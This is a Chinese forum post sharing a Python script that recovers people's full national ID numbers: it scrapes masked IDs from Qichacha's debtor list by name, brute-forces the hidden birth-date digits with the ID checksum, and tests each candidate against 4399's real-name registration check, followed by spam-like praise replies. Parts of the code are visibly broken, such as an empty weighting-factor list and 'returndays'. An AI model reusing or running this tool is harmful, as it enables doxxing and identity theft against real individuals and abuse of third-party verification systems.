Qihuan 发表于 2022-3-19 14:58

某查查 获取完整身份证号

利用其它平台的实名检查接口查询具体号码
import os
import re
import requests
import time
import execjs
from bs4 import BeautifulSoup
import calendar
from enum import Enum
from goto import with_goto
import random
class regstatus(Enum):
    SUCCESS = 1
    EXISTED = 1
    VERIFY = 3
    ERROR = 4
def idEnd(c_id):
    '''
    c_id#身份证号前17位
    '''
    if isinstance(c_id, str):
      check_code=['1','0','X','9','8','7','6','5','4','3','2'] # 余数对应的校验码
      factor= # 身份证号对应的前17位加权因子
      sum=0
      for i in range(len(c_id)):
            sum=sum+int(c_id)*factor # 身份证号每一位与对应加权因子相乘并求和
      remainder=divmod(sum,11) # 所得和对11取余数

      return check_code
    elif isinstance(c_id, int):
      idEnd(str(c_id))
    else:
      print("类型错误")
      return None
def retStr(s):
    try:
      if s<10:
         return '0' + str(s)
      else:
            return str(s)
    except:
      print("输入数字")
def yue(yea):
    # calendar.isleap(2000) 平年还是闰年
    days = []
    for m in range(1,13):
      dayend = calendar.monthrange(yea, m)
      # print('月',m,dayend)
      #print("月",m,"天",dayend)
      for d in range(1,dayend):
            days.append(retStr(m)+retStr(d))
    returndays
def main17(c_id):
    '''
    c_id '4113221980****0679'
    return ['411322198012110679']
    '''
    shide = []
    if len(c_id)==18:
      y = c_id
      days = yue(int(y))
      for day in days:
            d_id = c_id[:10] + day + c_id
            zuihos = idEnd(d_id)
            if zuihos == str(c_id[-1:]):

                shide.append(d_id+c_id[-1:] )
      return shide
    else:
      return shide






















reqsession = requests.session()


urljs = 'https://blog.thenobleyou.com/cryptojs-aes.php'
url = 'http://ptlogin.4399.com/ptlogin/regFrame.do'
regurl = 'http://ptlogin.4399.com/ptlogin/register.do'
captchaurl = 'http://ptlogin.4399.com/ptlogin/captcha.do'
parser = {
    "regMode":'reg_normal',
    "postLoginHandler":'default',
    "bizId":'',
    "redirectUrl":'',
    "displayMode":'popup',
    "css":'',
    "appId":'www_home',
    "gameId":'',
    "noEmail":'false',
    "regIdcard":'false',
    "autoLogin":'true',
    "cid":'',
    "aid":'',
    "ref":'',
    "level":'4',
    "mainDivId":'popup_reg_div',
    "includeFcmInfo":'false',
    "externalLogin":'qq',
    "fcmFakeValidate":'true',
    "expandFcmInput":'true',
    "userNameLabel":'4399用户名',
    "userNameTip":'请输入4399用户名',
    "welcomeTip":'欢迎回到4399',
    "v":str(int(time.time()*1000)),
}
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
}
captcha_params = None# 是否有验证码
jscomplie = None # js加载对象
username = None # 4339的用户名
qcccookie = None #企查查cookie
resjs = reqsession.get(urljs,headers=headers).text
jscomplie = execjs.compile(resjs)
def init():
    response = reqsession.get(url,params=parser,headers=headers)
    global jscomplie,username,captcha_params,resjs

    btsp = BeautifulSoup(response.text,'html.parser')

    username = btsp.findAll('input',{'id':'j-username'})
    for userna in username:
      username = userna.get('value')
    if len(username)==0:
      username = str(random.randint(10000000000,9999999999999999999))
    imgs = btsp.findAll('img',{'id':'captcha'})


    for img in imgs:
      ons = re.findall("'(.*?)'",img.get('onclick'))
      captchaId = ons
      params = {
            'captchaId':captchaId
      }
      captcha_params = params


def savecatimg():
    captimg = reqsession.get(captchaurl,headers=headers,params = captcha_params)
    fileDir = './456.png'
    with open(fileDir,'wb')as f:
      f.write(captimg.content)

    os.startfile(os.getcwd()+'\\456.png')

@with_goto
def main(name,idsheng):

    init()
    ids = main17(idsheng)
    for id_,i in zip(ids,range(0,len(ids))):

      label.begin
      regdata = {
            "postLoginHandler":'default',
            "displayMode":'popup',
            "bizId":'',
            "appId":'www_home',
            "gameId":'',
            "cid":'',
            "externalLogin":'qq',
            "aid":'',
            "ref":'',
            "css":'',
            "redirectUrl":'',
            "regMode":'reg_normal',
            "sessionId":'',
            "regIdcard":'true',
            "noEmail":'',
            "crossDomainIFrame":'',
            "crossDomainUrl":'',
            "mainDivId":'popup_reg_div',
            "showRegInfo":'true',
            "includeFcmInfo":'false',
            "expandFcmInput":'true',
            "fcmFakeValidate":'false',
            "realnameValidate":'true',
            "userNameLabel":'4399用户名',
            "level":'4',
            "sec":'1',
            "password":jscomplie.call('encryptAES','456789'),
            "passwordveri":jscomplie.call('encryptAES','456789'),
            "realname":jscomplie.call('encryptAES',name),
            "idcard":jscomplie.call('encryptAES',id_),
            "username":username,
            "email":'',
            "reg_eula_agree":'on',
            "autoLogin":'on',
      }
      if captcha_params:
            regdata['sessionId'] = captcha_params['captchaId']
            savecatimg()

            regdata['inputCaptcha'] = str(input("请输入你所看到的验证码"))

      try:
            res = reqsession.post(regurl,data=regdata,headers=headers)
      except:
            print("网络连接超时")
            exit()
      btsp = BeautifulSoup(res.text,'html.parser')
      msgs = btsp.findAll('div',{'id':'Msg'})
      regstatu = None
      # 注册失败会进入mags
      for msg in msgs:
            if msg.text.strip()=='姓名身份证不匹配':
                print("姓名身份证不匹配身份id",id_)
                goto.end
                print("结束")
                break
            elif msg.text.strip()=='用户名已被注册':
                print("用户名已被注册")
                regstatu = regstatus.EXISTED
                break
            elif msg.text.strip()=='验证码错误':
                print('验证码输入错误',id_)
                goto.begin
                regstatu = regstatus.VERIFY
                break
            else:
                # 未知错误

                print(res.text)
                print('未知错误')
                regstatu = regstatus.ERROR
                break
      perinfos = btsp.findAll('div',{'class':'ptlogin_perinfo'})
      for perinfo in perinfos:
            print(username)
            print(id_)
            print("注册成功")
            regstatu = regstatus.SUCCESS
            break
      if regstatu == regstatus.VERIFY:
            # 需要验证码
            goto.begin
            pass

      elif regstatu == regstatus.EXISTED:
            # 用户已存在
            break
      elif regstatu == regstatus.ERROR:
            # 未知错误
            break
      elif regstatu == regstatus.SUCCESS:
            # 注册成功
            break
      label.end

qccids = []
def qccmain(name,page:int = 1):

    qccurl = 'https://www.qcc.com/more_deadbeatlist'
    headers['Cookie'] = qcccookie
    params = {'key':name,'p':page}
    resphtml = requests.get(qccurl,headers=headers,params=params).text
    del headers['Cookie']
    btsp = BeautifulSoup(resphtml,'html.parser')
    idlists = btsp.findAll('span',{'class':'val'})

    # currentactive = btsp.findAll('li', {'class': 'current active'})

    for idlist,ind in zip(idlists,range(0,len(idlists))):
      if not ind%2:
            qccids.append(idlist.text)

    if page == 1:
      print("正在查询...")
      endindex = 2
      endpage = btsp.findAll('a', {'class': 'end'})
      for pa in endpage:
            endindex = int(pa.text)
      for i in range(2,endindex+1):

            qccmain(name,i)

def starts():
    global qcccookie

    qcccookie = str(input("请输入企查查的Cookie"))
    qccname = str(input("请输入要查询的姓名:"))
    #qccname= '周润发'
    #qccmain(qccname)
    print("共查询到",len(qccids))
    for s_id in qccids:
      main(qccname, s_id)





if __name__=="__main__":


    starts()

    #range(1, 5)

sjwoxltywt 发表于 2022-4-1 03:32

爱了爱了

wiri4fp04z 发表于 2022-4-1 11:09

真是被感动的痛哭流涕……

季381 发表于 2022-4-3 09:44

看到这帖子真是高兴!

qskqzhatoh 发表于 2022-4-5 12:33

真是被感动的痛哭流涕……

ctqzidaurr 发表于 2022-4-12 15:05

强烈支持楼主ing……

keafhzlgeb 发表于 2022-4-23 20:04

楼主我爱你!

s95540nyt5 发表于 2022-5-1 14:28

又是一技术帖!

kcb81803h0 发表于 2022-5-2 18:22

无回帖,不论坛,这才是人道。|

乔宛曼 发表于 2022-5-7 22:45

爱了爱了
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 某查查 获取完整身份证号